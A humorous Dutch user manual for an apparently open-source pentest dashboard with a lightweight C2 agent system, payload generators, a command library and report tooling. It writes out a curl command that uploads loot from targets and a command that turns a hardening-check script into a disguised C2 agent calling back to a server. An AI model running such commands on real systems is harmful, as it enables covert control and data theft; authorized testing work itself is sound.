Een handleiding voor een applicatie die zichzelf incompetent noemt. Dat je dit leest betekent óf dat je nieuwsgierig bent, óf dat je wanhopig bent. Beide zijn valide redenen. Welkom.
Oké, luister. Ergens op je harde schijf staat nu een Flask-applicatie die alles doet wat je als pentester nodig hebt, en die — in een vlaag van zelfkennis die je zelden tegenkomt in de softwareindustrie — de naam “Incompetent Bastard” heeft gekregen. De naam is zelfspot. De applicatie zelf is dodelijk serieus. Het is het verschil tussen een chirurg die zegt “ik heb geen idee wat ik doe” terwijl hij een perfecte hartoperatie uitvoert, en een chirurg die dat zegt en het ook meent. In het eerste geval lach je. In het tweede geval ren je. Je zou hier niet zijn als je niet in het eerste geval geloofde, dus lees vooral door.
Het is een dashboard. Een payload-fabriek. Een notitieblok. Een rapportgenerator. Een webterminal. Een command library met diverse gedocumenteerde aanvalstechnieken. Een XSS-beacon die cookies binnensleept van browsers die dom genoeg waren om een scriptje te laden van een onbekend IP-adres. Een C2-systeem voor agents op doelmachines. Een CVSS 4.0-calculator. Een LaTeX-rapportgenerator. Het is, kortom, het Zwitserse zakmes van de offensieve beveiliging — als dat zakmes ook een kurkentrekker had die Domain Admin kon worden.
De applicatie draait op 127.0.0.1:5000. Localhost. Je eigen machine. Dit is geen SaaS-product. Dit is geen clouddienst. Dit is een webapp die uitsluitend bedoeld is om lokaal te draaien. Als je hem op het open internet zet, verdien je alles wat er vervolgens gebeurt — en dat is geen dreigement maar een natuurwet, vergelijkbaar met de wet die zegt dat je nat wordt als je in de regen gaat staan zonder paraplu, behalve dat de regen in dit geval bestaat uit mensen die beroepsmatig dingen stelen van computers.
Goede vraag. Het soort vraag dat elke opdrachtgever zou moeten stellen voordat hij een penetratietest bestelt, en dat elke pentester zou moeten kunnen beantwoorden zonder dat zijn linkeroog begint te trillen.
Je kent het wel. De gemiddelde penetratietest zonder tooling verloopt als volgt: je opent een terminal. Dan nog een terminal. Dan nog vier terminals. Dan een browser. Dan een teksteditor. Dan nog een browser. Dan een spreadsheet om bij te houden welke terminals wat deden. En tegen het einde van de dag heb je zeventien vensters open, geen idee meer welk IP-adres bij welke machine hoorde, en het onduidelijke gevoel dat je laptop elk moment kan ontploffen — niet door een exploit maar door de hoeveelheid Chrome-tabbladen. Je bent het niet alleen. Het overkomt iedereen. Het is het vuile geheim van de industrie: de helft van je pentestdag besteed je aan het opzoeken van dingen die je vorige week ook al opzocht.
Incompetent Bastard lost dit op door alles in één interface te gieten. Het is alsof iemand je chaos heeft bekeken, er vijf minuten naar heeft gestaard met de vermoeide blik van een ouder die een kinderkamer betreedt, en vervolgens rustig alles heeft opgeruimd en gelabeld. Terwijl jij stond te kijken. Zonder oordeel. Dat is niet waar — met heel veel oordeel — maar het resultaat is hetzelfde.
Je opdrachtgever — dat opmerkelijke sierlijke wezen dat geld betaalt om te horen dat zijn digitale voordeur al die tijd op een kier heeft gestaan — profiteert op manieren die hij/zij/hunnie nooit zal zien maar altijd zal merken:
De template van het rapport is eenvoudig aan te passen.
Voordat je iets kunt installeren, moet je het eerst hebben. Dat is geen filosofie, dat is logistiek. De broncode staat op GitHub, wat tegenwoordig de natuurlijke habitat is van alle software die te eigenwijs is voor een app store en te eerlijk voor een marketingbudget:
git clone https://github.com/jan-karel/incompetentbastard.git
cd incompetentbastard
Ja, je typt dat in een terminal. In zijn geheel. De URL bevat het woord “incompetentbastard” en dat verschijnt in je terminalgeschiedenis, je Git-configuratie, en als je niet oppast in je LinkedIn-activiteit. Geen paniek. Als iemand je browser-geschiedenis doorzoekt en dít de meest verdachte URL is, heb je een bewonderenswaardig rustig digitaal leven geleid. Wie het project liever eerst wil inspecteren voordat hij het zijn harde schijf binnenlaat — begrijpelijk, vertrouwen moet je verdienen — kan langsgaan op github.com/jan-karel/incompetentbastard en daar net zo lang naar de code staren als nodig is om je geweten te sussen.
Er is een installatiescript. Het heet install.sh, en het installeert dingen. Veel dingen. Nmap, Metasploit, crackmapexec, pandoc, sshuttle, asciinema, nuclei, mono (voor C#-compilatie, want waarom niet), sqlmap, wfuzz, en nog een stuk of twintig pakketten waarvan je sommige nooit zult gebruiken. Ze horen er toch bij. Het is als die lade in je keuken met batterijen, elastiekjes, een zakje schroefjes en een sleutel waarvan niemand weet welk slot hij opent — maar die je niet durft weg te gooien. Want stel je voor.
bash install.sh
Het script detecteert of je op macOS of Linux werkt en past zich aan. Dat is al meer dan de meeste van je collega’s doen. Het maakt ook de complete mappenstructuur aan:
raw/
recon/ ← Reconnaissance output
nmap/ ← Nmap scans
loot/ ← Buitgemaakte bestanden (per IP)
screenshots/ ← Screenshots
tls/ ← TLS-certificaten
exploits/ ← Exploitatie-artefacten
local/ ← Lokale bestanden
debug/ ← Debug output
mirror/ ← Gespiegelde websites
spider/ ← Web spider output
wget/ ← Wget downloads
route/ ← Routing info
tooling/ ← Tool output
http/
payloads/ ← Gegenereerde payloads
commands/ ← Diverse command files
tools/ ← Exploitatietools
rapport/ ← Gegenereerde rapporten
meuk/logs/ ← Asciinema-opnames
meuk/wordlists/ ← Woordlijsten
Daarna:
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements-dev.txt
De database wordt automatisch aangemaakt bij de eerste start. SQLite. Eén bestand. meuk/flask/db/db.sqlite. Geen PostgreSQL. Geen Redis. Geen Docker. Geen Kubernetes. Geen microservices. Geen architectuurdiagram van acht vierkante meter dat je nodig hebt om je koffie op te zetten. Gewoon een bestand. Een enkel, solitair, bescheiden bestand dat alles bevat. Het is de minimalistische benadering van databasearchitectuur: werkt het? Ja. Volgende vraag.
flask --app app:create_app run --host 127.0.0.1 --port 5000
Dat is het. Je opent een browser, navigeert naar http://127.0.0.1:5000, en je bent er. Het duurt korter dan het kostte om deze zin te lezen. Probeer het maar — lees de zin opnieuw en kijk op je horloge. Zie je? De app was al op.
Als je vanaf een ander IP-adres verbindt — laten we zeggen omdat je dacht dat --host 0.0.0.0 een goed idee was, wat het nooit is, tenzij je een helder plan hebt, en “laten we kijken wat er gebeurt” is per definitie geen helder plan — krijg je geen dashboard. Je krijgt een JavaScript-payload. Je bent geen gebruiker meer; je bent een proefkonijn. De applicatie maakt geen onderscheid op basis van je intentie, alleen op basis van je IP-adres. En eerlijk gezegd is dat rechtvaardiger dan de meeste beoordelingssystemen die je in je carrière zult tegenkomen.
Remote toegang is mogelijk via twee routes:
export IB_ADMIN_USER=admin
export IB_ADMIN_PASSWORD=een_wachtwoord_dat_niet_password123_is
Navigeer naar /login en log in. Zodra je credentials hebt ingesteld, is de localhost-bypass uitgeschakeld. Ook lokaal moet je dan inloggen. Dit is veilig, verstandig, en het soort keuze waar je toekomstige zelf dankbaar voor zal zijn. Je toekomstige zelf is sowieso een betere versie van je huidige zelf, dus geef hem een cadeautje.
export DASHBOARD_ACCESS_TOKEN=een_token
export TASK_RUNNER_TOKEN=een_ander_token
Mee te sturen als header: X-Dashboard-Token: een_token.
Het dashboard is het eerste wat je ziet, en het is — er is geen andere manier om het te zeggen — veel. Het is alsof iemand de inhoud van een complete werkplek in een browser heeft gepropt: KPI’s, agents, bevindingen, notities, cookies van vreemde browsers, een command library, nmap-resultaten, recordings, payloads, en een settings-knop. Je weet niet waar je moet beginnen, maar je weet dat alles er is. Het is een all-you-can-eat buffet voor hackers. Pak een bord. Begin ergens. Niemand oordeelt. Nou, de applicatie oordeelt niet. Ik oordeel misschien een klein beetje.
De header is altijd zichtbaar, op elke pagina, als een bijzonder plichtgetrouwe medewerker die weigert naar huis te gaan. Rechts vind je drie knoppen:
De modals sluiten met Escape, het kruisje, of door erbuiten te klikken. Na opslaan verschijnt een groene “Opgeslagen!” en de modal sluit zich na 800 milliseconden. Achthonderd. Iemand heeft daar over nagedacht. Iemand heeft letterlijk besloten dat 800 milliseconden precies genoeg is om het woord “Opgeslagen” te lezen en een klein gevoel van voldoening te ervaren, maar niet zo lang dat je ongeduldig wordt. Dat is het soort aandacht voor detail waardoor je een tool elke dag wilt gebruiken in plaats van elke dag tegen de muur wilt gooien. Het verschil is 200 milliseconden. Onthoud dat.
Bovenaan vijf kaarten:
Daaronder een motivatiequote. Elke keer een andere. De Borg naast Benjamin Franklin naast Bruce Lee — in het Nederlands. Het is de eclectische inspiratie die je krijgt wanneer de maker zijn favourites-lijst heeft leeggeplunderd en dacht: “waarom kiezen als ik alles kan nemen?” Je zult er niet door gemotiveerd worden, maar je zult er zeker door verrast worden, en verrassing is de eerste stap naar motivatie. Of naar verwarring. Het is een dunne lijn.
Een paneel met al je ingecheckte agents: status, hostname, gebruiker, IP, besturingssysteem. Ververst elke vijf seconden. Het is een hartslagmonitor voor andermans servers — met het verschil dat je bij een hartslagmonitor hoopt dat het hart blíjft kloppen, terwijl je bij agents hoopt dat het kloppende hart niet wordt ontdekt door de eigenaar. Als de eigenaar erachter komt, stopt het hart niet, maar stopt jouw toegang, en dat is vanuit jouw perspectief hetzelfde.
Twee rijen snelknoppen voor navigatie en payload-generatie. Drie kopieerbare one-liners: het host-IP, de curl-upload opdracht, en de XSS-beacon tag. Klik, klembord, klaar. Het scheelt je per dag twintig keer typen, per week een halve middag, en per jaar genoeg tijd om een cursus tai chi te volgen. Je gaat geen cursus tai chi volgen. Maar het is fijn om te weten dat het kún.
De “Scope”-knop in Quick Actions opent een modal waarmee je de scope targets van je assessment beheert. Meerdere targets, elk met een type (host, netwerk, URL of applicatie) en een beschrijving. Het is als een boodschappenlijstje, maar dan voor systemen die je mag aanvallen. Zonder lijstje vergeet je altijd iets — bij boodschappen is dat melk, bij een pentest is dat een /24-subnet waarvan niemand je had verteld dat het erbij hoorde. De scope targets verschijnen in je rapport. Je opdrachtgever ziet precies wat er is getest. Geen discussie achteraf over “maar dat systeem stond toch niet in scope?” Het stond er wel. Het staat er zwart op wit. Met type en beschrijving. De feiten liegen niet, ook niet als de CISO dat liever zou willen.
Het Agent-systeem is een lichtgewicht C2-framework. “Lichtgewicht” in de zin dat het precies doet wat het moet doen en verder zijn mond houdt. Dat klinkt alsof het normaal is. Het is niet normaal. De meeste C2-frameworks hebben genoeg features om er een doctoraalstudie over te schrijven, en je hébt een doctoraalstudie nodig om ze te begrijpen. Dit is het tegenovergestelde. Dit is een C2 dat je begrijpt terwijl je de README nog aan het lezen bent. Verfrissend als een koud biertje op een warme dag, behalve dat het geen bier is maar een command-and-control systeem. De metafoor houdt niet helemaal stand, maar je snapt het.
Een agent is een script — Bash, PowerShell, Python, het maakt de applicatie niet uit — dat periodiek contact opneemt met jouw server:
POST /agent/checkin met hostname, username, OS. De server retourneert een agent_id.GET /agent/cmd/{agent_id} voor commando’s. 204 = niks te doen. 200 = werk aan de winkel.POST /agent/res/{cmd_id} met de output.POST /agent/heartbeat/{agent_id}. “Ik leef nog.” Drie woorden. Meer hoeft een agent niet te zeggen.Statussen: Active (minder dan 30 seconden geleden gezien), Idle (minder dan 5 minuten), Dead (langer stil dan jij in een vergadering na de lunch). Het dashboard /dashboard/agents toont alles in een overzichtstabel. Commando’s sturen, geschiedenis bekijken, agents opruimen.
Elk commando en elke response wordt gelogd als asciicast v2-recording. Stel je voor: je opdrachtgever vraagt om bewijs van de aanvalsketen. Je geeft hem geen screenshot waarop hij — als hij heel goed kijkt en zijn leesbril opzet — misschien de helft van een commando kan ontcijferen. Je geeft hem een afspelbare recording. Met kleuren. En timing. En hij kan het pauzeren. Dat is het verschil tussen “geloof me” en “kijk maar.”
De Task Runner is waar je dingen laat gebeuren zonder ze zelf te hoeven typen. Het is delegeren, maar dan aan een machine die nooit klaagt, nooit een koffiepauze neemt, en nooit per ongeluk het verkeerde IP-adres intypt omdat het zo donker is in die serverruimte en je bril beslagen is en je eigenlijk naar het toilet moet.
Zes categorieën:
compileall — syntaxcheck. pytest — alle tests. git_status — wat het zegt, en alleen wat het zegt. Geen verrassingen.
init — mappen en tool-versies. engage — OpenVPN + Empire in screen-sessies. Eén knop, twee tunnels, nul typen.
scan — Nmap quick scan, gevolgd door parallelle full-port, vuln, whatweb, wfuzz en nuclei scans. Je vult een interface, naam en IP-range in, drukt op Start, en gaat koffie halen. Als je terugkomt zijn de resultaten er. Als je terugkomt en de resultaten er niet zijn, heb je niet lang genoeg koffie gehaald. Probeer het nog eens. Neem een koekje. search, kerberos, ftp_anon — gerichte verkenning.
gen_passwords, brute_ssh, brute_rdp, brute_vpn, weak_ssh. De namen verklappen precies wat ze doen. Subtiliteit is een eigenschap die je bij brute force niet aantreft, niet in de techniek en niet in de naamgeving.
ftp_asp, rfi_input.
sshuttle — VPN-over-SSH tunnel. Tunnelen door SSH alsof het de normaalste zaak van de wereld is, wat het in jouw wereld ook is.
Output scrollt live mee. Maximaal 500 regels, maximaal 600 seconden. Daarna wordt het proces beëindigd met het soort emotieloze efficiëntie waarmee een Zwitsers horloge de seconden tikt: zonder medeleven, zonder twijfel, zonder “maar ik was bijna klaar.” Alle argumenten worden gevalideerd met regex. Geen shell=True. Geen pad-traversal. De Task Runner doet wat je vraagt, niet meer en niet minder, en weigert beleefd maar onverbiddelijk alles wat niet op de lijst staat. Het is de enige collega die nooit “ja maar” zegt. Neem hem als voorbeeld. Nee, doe dat niet. Je hebt een persoonlijkheid. Houd die.
Laten we even eerlijk zijn. Je opdrachtgever betaalt niet voor het hacken. Je opdrachtgever betaalt voor het rapport. Het hacken is het middel. Het rapport is het product. Ik weet het. Jij weet het. Diep vanbinnen wil je het ontkennen. Maar dit fundamentele inzicht — dat de waarde van je pentest zit in de documentatie en niet in de adrenaline — is wat het verschil maakt tussen een pentester die werk heeft en een pentester die een heel interessant verhaal heeft voor op feestjes maar geen inkomsten. Kies je maar uit welke je wilt zijn. Neem de tijd. Ik wacht.
De “+ Bevinding”-knop in de header opent een modal. Template kiezen — naam verschijnt automatisch. Host invullen. Beschrijving schrijven met de LaTeX-toolbar. CVSS-score klikken — de kleur verandert mee van groen (“mwah”) naar donkerrood (“bel de CEO en daarna de advocaat en daarna de therapeut”). Opslaan. Modal sluit. Totale tijd: dertig seconden. Je was bezig met een scan. Je ontdekte een kwetsbaarheid. Je documenteerde hem vóórdat de scan klaar was. Je voelde je even als een god onder de pentesters. Kort, maar intens.
Je opdrachtgever zal dit nooit zien. Hij zal het merken doordat het rapport bevindingen bevat met details die alleen mogelijk zijn als ze zijn vastgelegd op het moment van ontdekking. In plaats van drie uur later uit je hoofd, wanneer alles wat je je herinnert is: “er was iets met poort 443. Of was het 445? Het was een poort. Het was zéker een poort.” Klinkt dat bekend? Ja. Dat dacht ik al.
Een finding heeft:
Het finding-formulier heeft een “Geavanceerd”-toggle. Standaard zie je de essentiële velden: naam, host, CVSS, vlaggen, status, en de beschrijvingsvelden. Klik je “Geavanceerd” aan, dan verschijnen de uitgebreide velden: herstelstatus, doeldatum, herstelverantwoordelijke, gegevensclassificatie, herstelinspanning, betrokken assets, bedrijfsimpact en gerelateerde bevindingen. De keuze wordt onthouden in je browser via localStorage — zet het één keer aan en het blijft aan. Tot je het uitzet. Dat is hoe knoppen werken. Het feit dat ik dat moet uitleggen zegt meer over de staat van moderne software dan over deze applicatie.
Het idee is eenvoudig: tijdens de test wil je snel documenteren zonder door twaalf velden te scrollen. Na de test, wanneer je het rapport afrondt en de remediation-informatie invult, schakel je de geavanceerde modus in. Het is het verschil tussen een chirurg die opereert en een chirurg die het operatieverslag schrijft. Beide zijn nodig. Maar niet op hetzelfde moment. En niet met hetzelfde formulier. Behalve dat het wél hetzelfde formulier is. Maar het ziet er anders uit. Dat is het punt.
14 standaardtemplates in standard_findings.json, er zweeft ook nog ergens een legacy-catalogus met 227 stuks inclusief MITRE ATT&CK referenties rond. Elke template bevat beschrijving, impact, aanbeveling, OWASP Top 10 en CWE-ID. Je kiest een template, vult de details in, klaar. Het saaiste deel van het werk is al gedaan. Je mag dit ook vertalen als “het slimste deel van het werk is al gedaan,” want het verschil tussen saai en slim is in deze industrie verwaarloosbaar klein.
Je opdrachtgever profiteert: consistente structuur. Bevinding 1 leest als bevinding 17. Het ontwikkelteam weet wat het moet doen. Niemand hoeft te raden wat “de website is een beetje kapot” betekent — want de template dwingt een beschrijving af die een volwassen mens kan interpreteren. Zelfs op maandagochtend.
Screenshots, PDF’s, tekstbestanden, JSON, XML, ZIP. Maximaal 10 MB per bestand. UUID-bestandsnamen. Exporteerbaar als ZIP. Wanneer je opdrachtgever vraagt “maar kunt u dat bewijzen?” geef je hem een ZIP-bestand in plaats van een ongemakkelijke stilte gevolgd door een blik op de klok en de opmerking dat het alweer bijna lunchtijd is.
In de Instellingen-tab van het Rapport Dashboard definieer je scope targets: elk met een target, type (host, netwerk, URL of applicatie) en beschrijving. Dezelfde interface als via de Scope-knop op het hoofddashboard. De targets verschijnen als tabel in je rapport — in de scope-sectie, boven de managementsamenvatting. Als je geen expliciete targets hebt ingesteld, valt het rapport terug op de automatisch verzamelde locaties uit je bevindingen. Maar expliciete targets zijn beter. Expliciete dingen zijn altijd beter. Vraag het maar aan je therapeut.
Bonus: dezelfde scope targets verschijnen als autocomplete-suggesties in het host-veld van het finding-formulier. Ook in de quick-add modal. Je definieert je targets één keer en ze duiken overal op waar ze nuttig zijn — in je rapport, in je formulieren, in je geweten dat je georganiseerd te werk gaat. Het is het soort hergebruik waar software-architecten van dromen en waar de meeste codebases van wakker liggen. Deze codebase droomt.
Klik op “Generate report.” De applicatie haalt alles op, groepeert het per template, maakt er LaTeX van, gooit het door pandoc, en produceert .tex, .html en .md. Er verschijnt een preview. Het is — in de meest letterlijke zin van het woord — knopdruk-rapportage. Je drukt op de knop. Je krijgt een rapport. Het is bijna teleurstellend hoe weinig drama eraan te pas komt. Maar drama wil je in je vrije tijd. In je werk wil je dat de knop werkt.
Het LaTeX-sjabloon ondersteunt secties, subsecties, afbeeldingen, vetgedrukt, voetnoten, highlighting, lijsten en codeblokken. De regex die de LaTeX omzet naar HTML is het soort code waar je naar kijkt en zachtjes begint te huilen — niet van verdriet maar van verwondering — want het werkt. Het feit dat het werkt is een overwinning van koppigheid op logica, want logica zegt dat dit onmogelijk zou moeten zijn. Maar logica heeft het mis. Hier staan we dan.
Het rapport bevat een automatisch hoofdstuk “Tools en technieken” (of “Tools and Techniques” in het Engels, want het sjabloon is tweetalig, omdat je opdrachtgever soms een CISO is die denkt dat Engels professioneler klinkt, en soms een CISO is die denkt dat Nederlands begrijpelijker is, en soms een CISO is die niet leest en het verschil toch niet opmerkt). Het hoofdstuk vermeldt dat Incompetent Bastard is ingezet — een opensourceproject dat ondersteuning biedt bij beveiligingsonderzoeken — plus de standaard toolset: Nmap, Burp Suite, Metasploit, BloodHound, CrackMapExec, Impacket. Allemaal tools die je opdrachtgever niet bij naam kent maar die zijn netwerk beter kennen dan hijzelf. De lijst is een startpunt; je past hem aan per opdracht. Het hoofdstuk sluit af met de opmerking dat alle tools conform de Rules of Engagement worden ingezet, wat de juridische equivalent is van “we hebben toestemming” maar dan met meer woorden, want juristen worden per woord betaald en dat merk je.
Notities zijn vrije tekstvelden. Je maakt ze, schrijft erin, sleept ze in volgorde, en vinkt optioneel “Opnemen in rapport” aan. Aangevinkte notities verschijnen als subsecties in het rapport. Niet-aangevinkte notities zijn privé — inclusief die notitie “ALLES IS STUK” die je om 02:14 hebt ingetypt en die je de volgende ochtend stilletjes verwijdert terwijl je doet alsof het nooit is gebeurd. We zullen er niet over praten. Het is al verwijderd. Het is nooit gebeurd.
“+ Notitie” in de header. Modal. Naam, inhoud, LaTeX-toolbar. Opslaan. Klaar. Het is korter dan een haiku en nuttiger dan de meeste vergaderingen die je deze week hebt bijgewoond. En je hebt er vier bijgewoond. En ze hadden ook een e-mail kunnen zijn. Maar deze modal is géén vergadering en géén e-mail. Het is een knop.
Drag-and-drop herschikken via /api/notes/reorder. De editor ondersteunt LaTeX. Of je wiskundige formules nodig hebt in een pentestrapport is een vraag die de applicatie niet stelt, en dat is waarschijnlijk maar goed ook. Het antwoord is bijna altijd “nee.” Maar die één keer dat het antwoord “ja” is — en die keer komt, geloof me, die keer komt — zul je zo blij zijn dat het kan dat je er een notitie over maakt. In LaTeX.
Acht generators. Het is alsof iemand een Zwitsers zakmes heeft gebouwd maar dan met gereedschappen die je niet aan de douane kunt uitleggen. “Nee mevrouw, deze tool genereert reverse shells in acht programmeertalen, het is voor mijn werk.” Veel succes met die uitleg.
IP en poort invullen, klikken, en je hebt shells in Bash, PowerShell, Python, PHP, Ruby, Perl, Netcat, Socat. Plus AMSI-bypass one-liners en download cradles. Het bespaart je het googelen van dezelfde commando’s die je vorige week ook al googelde en de week daarvoor ook. Je zoekgeschiedenis wordt er ook een stuk minder belastend van, en als je ooit in een forensisch onderzoek terechtkomt (als onderzoeker, niet als verdachte — nuance is belangrijk), zul je jezelf dankbaar zijn.
Genereert een Office-document met een VBA-macro die een Meterpreter-sessie opzet. Je opdrachtgever wil weten of zijn medewerkers op kwaadaardige bijlagen klikken? Hier krijgt hij zijn antwoord. Spoiler: ze klikken. Ze klikken áltijd. Het is de meest betrouwbare constante in de informatiebeveiliging. De zon komt op. De maan gaat onder. Mensen klikken op bijlagen.
URL-gebaseerde payload delivery. Minder detectie, meer plezier. De details zijn technisch. Het resultaat is dat je payload aankomt waar hij moet aankomen, en dat is alles wat je hoeft te weten.
C#-executable met XOR-versleutelde shellcode. Het project heet “meth.” De broncode heet crystalmeth.cs. Ik ga hier niet doen alsof dit professionele naamgeving is. Het is de naamgeving van iemand die om drie uur ’s nachts code schreef en op dat uur andere regels hanteert voor variabelnamen. Jij doet dat ook. Ontken het niet. Je hebt bestanden op je computer waar je overdag niet over praat. Niet dát soort bestanden. Ik bedoel code met variabelnamen als dingetje en bla.
Ander template, zelfde concept. Voor als je eerste poging niet werkte. Of voor als je gewoon graag keuze hebt. Keuze is goed. Keuze is menselijk.
Reverse shells met AMSI-bypass. Acht varianten. Omdat één manier om Windows te betreden nooit genoeg is.
ASP.NET reverse shell voor IIS. XOR-versleuteld. Voor als je een webserver tegenkomt die nog IIS draait en je een moment van pure, onversneden vreugde ervaart.
Shellcode in het geheugen. Geen bestanden op schijf. In theorie onzichtbaar voor antivirus. In de praktijk is antivirus tegenwoordig slimmer dan je zou wensen, maar hoop is een strategie die in de beveiligingsindustrie verrassend vaak werkt. Niet gegarandeerd. Maar vaak.
Alle generators draaien in achtergrondthreads. Status pollen via API. Maximaal 600 seconden. Poortvalidatie: 1–65535. De applicatie is paranoide over input — wat bij een tool die exploits genereert niet paranoide is maar verstandig, want de enige persoon die een exploit-generator hackt is een andere pentester, en dat zou het meest gênante verhaal op de volgende vakconferentie zijn. “Mijn hackertool werd gehackt.” De zaal lacht. Jij lacht niet. Je wisselt van beroep. Loodgieter, misschien.
Over de platte tekstbestanden in http/commands/. Geen extensie. De bestandsnaam is de categorie. kerb_kerberoast. web_sqli_union. lateral_dcom. 34 categorieën, van AMSI Bypass tot Web: Overig. Het is het soort opslagsysteem dat een bibliothecaris zou doen huilen en een sysadmin zou doen glimlachen. Als je jezelf herkent in de tweede categorie, lees door. Als je jezelf herkent in de eerste, bel ik alvast een taxi.
Beschikbaar op elke pagina. Doorzoekbaar. Find-and-replace voor placeholders — IP-adressen, hostnamen, poorten. Je typt “kerb”, krijgt alle Kerberos-commando’s, vervangt het IP, kopieert, plakt. Het hele proces duurt minder lang dan het kost om een collega te vragen “hoe was de syntax ook alweer?” en het antwoord af te wachten. Want dat antwoord begint altijd met “ehm” en eindigt met “google het even.” Je collega is geen slechte collega. Hij is gewoon geen Field Manual. En jij hebt nu een Field Manual. De collega mag op vakantie.
/dashboard/commands. Alles gegroepeerd, opvouwbaar, doorzoekbaar. Zie de volledige Command Library handleiding.
Je selecteert een commando, kiest een screen-sessie, past placeholders aan, klikt “Inject.” Het commando verschijnt in de terminal. Je hebt gedelegeerd aan een machine. De machine typt sneller dan jij, maakt geen fouten, en heeft nooit een ochtend gehad waarop de toetsenbordindeling per ongeluk op Deens stond. Weet je waarom die ochtenden erg zijn? Niet omdat Deens een slechte taal is. Maar omdat “ø” niet is wat je bedoelde toen je “o” typte. En “å” is absoluut niet wat je bedoelde. En nu is je commando gebroken en je zelfvertrouwen ook.
De Screen Terminal (/dashboard/screen) is een webterminal. Een echte screen-sessie met asciinema-opname, bediend vanuit je browser. Je typt commando’s onderaan, de output verschijnt bovenaan, en alles wordt opgenomen. Het is meer een afstandsbediening voor een terminal dan een terminal zelf — een hybride ding dat geen goede naam heeft maar dat werkt. “Het heeft geen goede naam maar het werkt” is trouwens de onofficiële slogan van alle nuttige software ooit gemaakt. Als je dit op een t-shirt wilt drukken, ga je gang.
De sidebar rechts toont de Command Library. Klik op een commando en het verschijnt in de sessie. Ondersteunde shells: bash, sh, zsh. Max 1024 tekens per commando. Als je commando langer is dan 1024 tekens, heb je een ander probleem dan deze tool kan oplossen.
Alles wordt opgenomen als .rec-bestand in meuk/logs/. De Recordings-pagina (/dashboard/recordings) toont alle opnames met een asciinema-player. Afspelen, pauzeren, fullscreen. En je hebt gelijk je timestamps.
Waarom dit ertoe doet: je opdrachtgever krijgt niet een screenshot met een pijltje en de tekst “hier ging het mis.” Dat is qua overtuigingskracht vergelijkbaar met een handgeschreven briefje op de koelkast. In plaats daarvan krijgt hij een afspelbare recording die exact laat zien wat er is gebeurd, wanneer, en hoe. Het verschil is dat tussen een getuigenverklaring en beveiligingscamerabeelden. De tweede is betrouwbaarder, aanzienlijk moeilijker te ontkennen, en je hoeft er niet bij te huilen in de rechtszaal. Hoewel dat laatste bij een pentest zelden aan de orde is. Maar je weet maar nooit.
De Outputs-pagina (/dashboard/outputs) browsert twaalf directories: nmap-scans, recon, loot, local, exploits, tls, debug, mirror, spider, route, tooling, wget. Tweekoloms layout: links de bestandslijst, rechts de inhoud. Maximaal 120 KB per bestand. Kopieerknop.
Het is het soort pagina die er onopvallend uitziet totdat je hem nodig hebt, waarna het de belangrijkste pagina van de applicatie wordt, waarna je hem weer vergeet totdat je hem weer nodig hebt. Het is het brandblusapparaat van de IT. Je hoopt dat je het nooit nodig hebt. Maar als je het nodig hebt, ben je blij dat het er hangt. En dat het niet leeg is. Controleer je brandblusapparaat. Controleer ook deze pagina. Niet nu. Later. Je hebt nu andere dingen te doen.
Korte URL’s: /p/{bestand} voor payloads, /t/{bestand} voor tools, /tm/{bestand} voor mini-tools. Dit zijn de URL’s die je op de doelmachine gebruikt. Kort, functioneel, en het soort URL dat een IDS-systeem alarmbellen doet rinkelen alsof er iemand de brandtrap afrent met een printer onder zijn arm. Standaard localhost-only, tenzij PUBLIC_DOWNLOADS=true.
POST /upload. Je bestand wordt opgeslagen in raw/loot/{client_ip}/timestamp_{bestandsnaam}. Superhandig, gewoon curl -F @file http://incompetentbastard.nl/upload
In http/payloads/ staan vier hardening-check scripts die je via de command library kunt downloaden op doelmachines. Ze scannen op privilege-escalatie vectoren, misconfiguraties en LOLBins:
Elk script heeft een bijbehorend get_ commandfile — typ het commando op de doelmachine en het script wordt gedownload. De scripts ondersteunen -P voor privilege-escalatie checks en -b voor “Become”-modus: exploiteerbare FAILs worden verzameld, op prioriteit gesorteerd, en gepresenteerd als interactief menu. Het is alsof iemand je een kaart heeft gegeven met alle zwakke plekken erop getekend, inclusief een routebeschrijving. Gebruik het verantwoord. Of in ieder geval met een contract.
Elk van de vier scripts heeft een ingebouwde agent-modus. Bash: -a URL. PowerShell: -Agent URL. En daarmee verandert een onschuldig hardening-check script in een volwaardige C2-agent die zichzelf registreert bij je Incompetent Bastard dashboard en vervolgens braaf gaat zitten wachten op commando’s. Het is de digitale equivalent van een rechercheur die undercover gaat als loodgieter: hij controleert je kraan, maar als het moet kan hij ook je huis doorzoeken. Mits je daar een rechterlijk bevel voor hebt. Of, in ons geval, een pentestcontract.
De flow is elegant in zijn eenvoud:
POST naar /agent/checkin met hostname, username, OS-info en scripttype (linux-lolbin, macos-lolbin, ps-rsat of ps-lolbin). De server retourneert een cryptografisch random agent_id en een poll-frequentie./agent/cmd/{agent_id}. HTTP 200 betekent werk: een commando wordt lokaal uitgevoerd en de output gaat terug via POST /agent/res/{cmd_id}. HTTP 204 betekent stilte. De agent wacht. De agent klaagt niet. De agent is geduldiger dan jij ooit zult zijn.last_seen bij en bepaalt de status: Active (minder dan 30 seconden), Idle (tot 5 minuten), of Dead (langer stil dan een vergadering over Q3-budgetten).meuk/logs/. Elk commando, elke response, met tijdcodes. Afspelbaar op de Recordings-pagina. Je opdrachtgever krijgt niet een samenvatting van wat je hebt gedaan — hij krijgt een film.Het briljante is de camouflage. Het script rún eerst de hardening-checks — een volkomen legitieme activiteit die elke systeembeheerder zou toejuichen. En daarna, zonder ophef, zonder fanfare, zonder een banner die zegt “U WORDT NU GECONTROLEERD DOOR EEN PENTESTER,” draait het door als agent. Op het doelsysteem ziet het eruit als een afgeronde check. Op je dashboard verschijnt een nieuwe agent met hostname, gebruiker en OS. Je stuurt commando’s vanuit je browser. De agent voert ze uit. De resultaten verschijnen in je interface. Het is alsof je een secondére terminal hebt op een machine waar je geen SSH-toegang toe hebt — of waar SSH-toegang verdacht zou zijn maar een hardening-check niet.
De commando-uitvoering verschilt per platform: Bash gebruikt eval, PowerShell gebruikt [scriptblock]::Create(). Beide vangen stdout én stderr. Beide sturen de output als platte tekst terug. Geen JSON-wrapping. Geen Base64-encoding. Geen overhead. Het commando gaat erin, de output komt eruit, en de server slaat alles op. Het is een pijplijn van vier regels code die doet waarvoor andere C2-frameworks zevenduizend regels nodig hebben. Niet omdat die zevenduizend regels overbodig zijn — ze hebben features die dit systeem niet heeft — maar omdat dit systeem precies genoeg doet voor de use case waarvoor het is gebouwd. En “precies genoeg” is in de softwarewereld een zeldzamere prestatie dan “veel te veel.”
# Linux/macOS — agent-modus activeren
./check-aanbevelingen-lolbin.sh -a http://10.0.0.1:5000
# Windows PowerShell — agent-modus activeren
